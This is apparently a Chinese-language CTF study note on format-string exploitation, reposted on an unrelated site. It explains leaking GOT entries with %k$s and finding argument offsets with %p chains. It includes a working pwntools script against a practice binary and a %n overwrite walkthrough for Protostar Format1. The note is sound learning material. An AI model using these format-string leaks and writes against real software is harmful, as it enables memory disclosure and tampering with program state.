pwn 学习笔记 格式化串计算偏移量 |
您所在的位置:网站首页 › 格式化字符串c4是什么意思啊 › pwn 学习笔记 格式化串计算偏移量 |
学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/ 利用%s泄露libc函数的got表内容 addr%k$s可以用来泄露指定地址的内容,但要先确定k的值,可控制的格式化字符串参数是函数第几个参数(k+1),减一就是格式化字符串的第几个参数(k)。 利用 [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值 (懒得打字) 利用下面这个脚本随便改改就可以泄露got表内容了,觉得自己好草率 from pwn import * sh = process('./leakmemory') leakmemory = ELF('./leakmemory') __isoc99_scanf_got = leakmemory.got['__isoc99_scanf'] print hex(__isoc99_scanf_got) payload = p32(__isoc99_scanf_got) + '%4$s' print payload gdb.attach(sh) sh.sendline(payload) sh.recvuntil('%4$s\n') print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got sh.interactive()利用%n覆盖内存 输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例: int slen; printf("hello world%n", &slen); 执行后变量slen被赋值为11。 payload结构:...[overwrite addr]....%[overwrite offset]$n 我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖 这里以Protostar的Format1为例子(https://exploit-exercises.com/protostar/) 源码为: 看源码可知,由print(string)引起的只要target不为0,就能执行if语句中的命令,思路就是覆盖target变量地址的内容,使target有值。 1.找到target的地址 找到target的地址为0x08049638 2.计算target与print参数的偏移量 被这步不知道坑了多久,终于找到了一个靠谱的方法(https://lightless.me/archives/protostar-format-writeup.html) 参拜了大神的方法之后,算出来偏移量,步骤如下 先大概测一下 减少四个 发现还差两个,补一下 可以看到括号里为自己输入的ABCD,终于对啦,把ABCD换为target的地址 3.括号里面变成了target的地址,接下来只用把最后的[%08x],换成[%08n] 就可以覆盖target的内容,是target不在为空,成功执行if语句中的命令 艰难的一天终于结束啦,果然还是晚上脑子比较好用。洗洗睡吧 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |